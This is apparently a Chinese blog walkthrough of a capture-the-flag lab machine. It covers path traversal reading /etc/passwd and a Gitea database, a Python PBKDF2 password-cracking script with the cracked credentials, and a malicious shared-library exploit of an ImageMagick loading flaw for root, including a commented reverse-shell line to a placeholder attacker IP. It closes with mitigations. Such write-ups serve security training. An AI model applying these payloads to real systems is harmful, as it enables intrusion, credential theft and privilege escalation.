靶机信息:

  • IP 地址: 10.10.11.55
  • 目标: 获取 user.txt 和 root.txt

一、 信息收集与初始探测

1. 端口扫描 (Nmap)

首先使用 Nmap 对目标进行端口扫描,了解开放的服务:

Nmap扫描结果

扫描结果显示开放了 22 (SSH) 和 80 (HTTP) 端口。HTTP 服务返回 302 重定向,指向域名 http://titanic.htb/

2. 配置 Hosts 文件

为了正常访问 Web 服务,我们需要将域名和 IP 地址添加到本地 hosts 文件。

1
10.10.11.55  titanic.htb

编辑hosts文件

3. 访问 Web 服务

配置好 hosts 文件后,在浏览器中访问 http://titanic.htb/。看到了一个关于泰坦尼克号邮轮预订的网站。

网站首页

网站底部有一个预订信息的提交表单:

预订表单

二、 Web 应用枚举与漏洞发现

1. 技术栈识别 (WhatWeb)

使用 whatweb 识别网站使用的技术:

1
whatweb http://titanic.htb/

WhatWeb识别结果

关键信息:

  • 后端:Werkzeug/3.0.3 (Python Web 框架)
  • Python 版本:3.10.12
  • 前端:Bootstrap, JQuery

2. 目录与子域名扫描

使用 dirsearch 扫描目录,但未发现有价值的信息(大多是 40x 错误)。

Dirsearch结果

接着,使用 gobuster 结合子域名字典进行子域名爆破:

Gobuster发现子域名

扫描发现了一个子域名 dev.titanic.htb。将其添加到 hosts 文件:

1
10.10.11.55  titanic.htb dev.titanic.htb

3. 表单提交与路径遍历漏洞

回到主站 http://titanic.htb/,尝试提交预订表单,并使用 Burp Suite 拦截请求和响应。

提交表单后,服务器返回一个 302 重定向,指向一个下载链接,格式为 /download?ticket=UUID.json

Burp拦截表单提交响应

这个 ticket 参数看起来很可疑。尝试利用它进行路径遍历,读取服务器上的敏感文件。我们尝试读取 /etc/passwd

修改 Burp Repeater 中的请求,将 /download?ticket=UUID.json 改为 /download?ticket=../../../../../../etc/passwd

路径遍历读取passwd

成功读取!这确认了路径遍历漏洞的存在。在 /etc/passwd 中,我们注意到了 developer 用户。

三、 利用路径遍历深入挖掘

1. 探索开发环境 (dev.titanic.htb)

访问之前发现的子域名 http://dev.titanic.htb/

dev子域名首页

页面显示这是一个 Gitea 服务(一个自托管的 Git 服务),然后转向左上角探索,可以看到代码仓库。

查看到 docker-compose.yml 的配置片段。

1
2
volumes:
- /home/developer/gitea/data:/data # Replace with your path

这表明 Gitea 容器的 /data 目录映射到了宿主机的 /home/developer/gitea/data 目录。

2. 读取 Gitea 配置文件

Gitea 的默认配置文件通常位于 /etc/gitea/conf/app.ini 或其数据目录下的 gitea/conf/app.ini。结合上面发现的 Volume 映射,我们可以推断出宿主机上配置文件的实际路径可能是 /home/developer/gitea/data/gitea/conf/app.ini

读取Gitea配置文件

3. 分析配置文件,定位数据库

利用之前发现的路径遍历漏洞,尝试读取这个文件:

app.ini 文件中,我们找到了数据库的配置信息:

1
2
3
4
5
6
7
[database]
DB_TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gitea
USER = root
PASSWD =
PATH = /data/gitea/gitea.db ; Path to the database file for sqlite3

数据库配置信息
数据库配置信息放大

关键信息:

  • 数据库类型:SQLite3
  • 数据库文件路径 (容器内): /data/gitea/gitea.db

结合之前的 Volume 映射 (/home/developer/gitea/data:/data),我们可以确定数据库文件在宿主机上的绝对路径为:/home/developer/gitea/data/gitea/gitea.db

四、 获取用户权限 (User Flag)

1. 下载 Gitea 数据库

既然知道了数据库文件的绝对路径,我们可以再次利用路径遍历漏洞将其下载到本地进行分析:

下载数据库文件

2. 分析数据库,提取密码哈希

使用 SQLite 客户端打开下载的 gitea.db 文件,查找用户表(通常是 user 表)。

查询数据库用户信息

密码哈希与盐值

找到了 developer 用户的密码哈希和对应的盐值 (Salt):

  • 用户: developer
  • 哈希 (passwd): e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
  • 盐 (salt): 8bf3e3452b78544f8bee9400d6936d34 (需要注意,数据库中存储的是 Hex 编码的字符串,使用时需要解码为 bytes)

Gitea 通常使用 PBKDF2-HMAC-SHA256 算法来存储密码哈希。需要破解这个哈希来获取 developer 用户的明文密码。

3. 破解密码哈希

可以使用 Hashcat 或者编写一个简单的 Python 脚本来尝试破解。使用 hashlib.pbkdf2_hmac 结合字典进行爆破。Gitea 的默认迭代次数通常较高(如 50000),需要在破解时指定正确的参数。

准备字典: 将使用常见的 rockyou.txt 字典。

Python 破解脚本 (crack_gitea.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
import binascii

def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value

def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)

with open(dictionary_file, 'r', encoding='utf-8') as file:
count = 0
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
count += 1
print(f"正在检查密码 {count}: {password}")
if hash_value == target_hash_bytes:
print(f"\nFound password: {password}")
return password
print("Password not found.")
return None

salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
# 字典的路径
dictionary_file = '/home/admin/tool/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

运行脚本进行破解:

1
python crack_gitea.py

密码破解成功

脚本成功找到了密码!

  • 用户名: developer
  • 密码: 25282528

4. SSH 登录并获取 User Flag

现在我们拥有了 developer 用户的凭据,可以通过 SSH 登录目标机器:

1
2
ssh developer@titanic.htb
# 输入密码: 25282528

登录成功后,查找并读取 user.txt 文件:

获取User Flag

成功获取 User Flag!

五、 权限提升 (Root Flag)

获取了普通用户权限后,下一步是寻找提权到 root 的方法。

1. 本地枚举

developer 用户下进行枚举,寻找潜在的提权向量。检查 sudo -l、SUID 文件、计划任务 (cron jobs)、系统服务配置、可写目录和可执行脚本等。

  • sudo -l: developer 用户无法免密执行任何 sudo 命令。

  • 查找可执行脚本和可写目录:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 查找 /opt 目录下用户可执行的文件
    developer@titanic:~$ find /opt -type f -perm -u=x 2>/dev/null
    /opt/scripts/identify_images.sh
    /opt/app/app.py

    # 查找 /opt 目录下用户可写的目录
    developer@titanic:~$ find /opt -writable -type d 2>/dev/null
    /opt/app/static/assets/images
    /opt/app/tickets

查找可执行文件和可写目录
查找可执行文件和可写目录结果

我们发现了一个可执行脚本 /opt/scripts/identify_images.sh 和一个用户可写的目录 /opt/app/static/assets/images。这值得深入研究。

2. 分析可疑脚本

查看 /opt/scripts/identify_images.sh 的内容:

查看脚本内容

脚本的关键行为:

  1. cd /opt/app/static/assets/images: 切换工作目录到我们可写的目录!
  2. 执行 /usr/bin/magick identify 命令处理该目录下的 .jpg 文件。

如果这个脚本是由 root 用户定期运行(例如通过 cron),并且 magick 命令存在某种漏洞,我们就有机会利用可写目录来执行代码。

3. 检查 ImageMagick 版本并查找漏洞

查看 /usr/bin/magick 的版本:

查看ImageMagick版本

版本为 ImageMagick 7.1.1-35。搜索该版本的漏洞,发现一个相关的 CVE 或安全公告:GHSA-8rxc-922v-phg8

这个漏洞与 ImageMagick 的 AppImage 打包有关。其 AppRun 启动脚本在设置某些环境变量(如 LD_PRELOAD, LD_LIBRARY_PATHMAGICK_CONFIGURE_PATH)时,会查找并加载当前工作目录下的某些配置文件或库文件。

漏洞利用思路:

  1. /opt/scripts/identify_images.sh 脚本首先 cd 进入了我们可写的目录 /opt/app/static/assets/images
  2. 然后,脚本以其执行者(推测是 root)的权限执行 /usr/bin/magick identify
  3. 由于 magick 是一个 AppImage 打包的程序 (或其启动脚本存在类似行为),它在启动时会检查当前工作目录(也就是我们可写的 /opt/app/static/assets/images)是否存在特定的库文件。
  4. 如果我们在这个可写目录下放置一个精心构造的、与 ImageMagick 期望加载的库同名的恶意共享库(.so 文件),那么 magick 命令在执行时就会加载并执行我们库中的代码。
  5. 利用 C 语言的 __attribute__((constructor)) 特性,可以在共享库被加载时自动执行我们定义的函数(Payload)。

4. 制作并部署恶意共享库

a. 编写恶意 C 代码 (exploit.c):

创建一个 C 文件,包含我们的 payload。Payload 的目标是将 /root/root.txt 文件复制到我们可访问的目录 /opt/app/static/assets/images/ 并修改其权限,以便我们能读取它。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 这个函数会在库被加载时自动运行
__attribute__((constructor)) void run_payload(){
// 以 root 权限执行复制和修改权限操作
system("cp /root/root.txt /opt/app/static/assets/images/root.txt");
system("chmod 777 /opt/app/static/assets/images/root.txt");
// 可以选择性地添加其他命令,例如反弹 shell
// system("bash -c 'bash -i >& /dev/tcp/YOUR_ATTACKER_IP/PORT 0>&1'");
// exit(0); // 执行完后可以退出,避免 ImageMagick 报错
}

b. 编译共享库:

在你的攻击机或目标机器上(如果目标机器上有 gcc),使用 gcc 将 C 代码编译成共享库。根据漏洞 PoC 或常见实践,我们可以尝试使用 ImageMagick 可能加载的库名,例如 libxcb.so.1

将编译好的 libxcb.so.1 文件放置到目标脚本的工作目录,也就是我们可写的 /opt/app/static/assets/images/ 目录下。

1
gcc -shared -fPIC -o ./libxcb.so.1 exploit.c

5. 等待触发与获取 Root Flag

现在,我们只需要等待 /opt/scripts/identify_images.sh 脚本被执行。这个脚本很可能是通过 root 用户的 Cron 任务定时运行的(例如,每隔几分钟)。

当脚本运行时:

  1. 它会 cd/opt/app/static/assets/images/
  2. 它会以 root 权限执行 /usr/bin/magick identify
  3. magick 进程启动时,会查找并加载当前目录下的 libxcb.so.1
  4. 我们恶意库中的 run_payload 函数被执行。
  5. /root/root.txt 文件被复制到 /opt/app/static/assets/images/root.txt,并且权限被设置为 777

等待一小段时间(可能需要几分钟),然后检查 /opt/app/static/assets/images/ 目录:

1
2
3
developer@titanic:/opt/app/static/assets/images$ ls -l
total 1.3M
-rwxrwxrwx 1 root root 33 Apr 5 07:05 root.txt # <-- 文件出现了!权限是 777

Root Flag 文件出现

成功获取 Root Flag!

六、 总结

  1. 初始 foothold: 通过 Nmap 发现重定向,配置 hosts 文件访问 Web 服务。
  2. Web 漏洞: 利用预订表单后的 /download 功能存在的路径遍历漏洞,读取了敏感文件。
  3. 信息泄露: 通过路径遍历读取了 dev 子域 Gitea 服务的配置文件 (app.ini) 和 SQLite 数据库 (gitea.db)。
  4. 密码破解: 从数据库中提取了 developer 用户的 PBKDF2 哈希和盐值,并使用字典爆破得到明文密码。
  5. 获取用户权限: 使用破解的凭据 SSH 登录 developer 用户,获得 user flag。
  6. 权限提升: 分析发现一个由 root 运行的脚本 (identify_images.sh) 会在用户可写目录下执行 ImageMagick (magick)。利用 ImageMagick AppImage 的库加载漏洞 (GHSA-8rxc-922v-phg8),通过放置恶意共享库 (.so 文件) 在脚本的工作目录,实现了代码执行,最终获取了 root flag。

七、 防护与缓解措施

  1. 修复路径遍历漏洞 (/download):

    • 对用户输入进行严格过滤,禁止路径遍历字符 (../)。
    • 在访问文件前,确保请求的路径位于授权的目录下。
  2. 保护敏感文件:

    • 修复导致文件泄露的根源漏洞(如路径遍历)。
    • 遵循最小权限原则,确保 Web 应用进程无权访问 Gitea 等其他服务的配置文件和数据。
  3. 强化身份验证:

    • 强制使用强密码策略,增加密码破解难度。
    • 考虑为 Gitea 等关键服务启用双因素认证 (2FA)。
  4. 安全配置计划任务与脚本:

    • 避免让以高权限运行的脚本(如 Cron 任务)在用户可写的目录下执行外部命令。
    • 如果必须在特定目录执行,确保所调用的程序(如 ImageMagick)已更新至最新版本,并已修复已知的库加载或命令注入漏洞。
    • 定期审计系统上的 SUID/SGID 文件、计划任务和不安全的服务配置。

© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k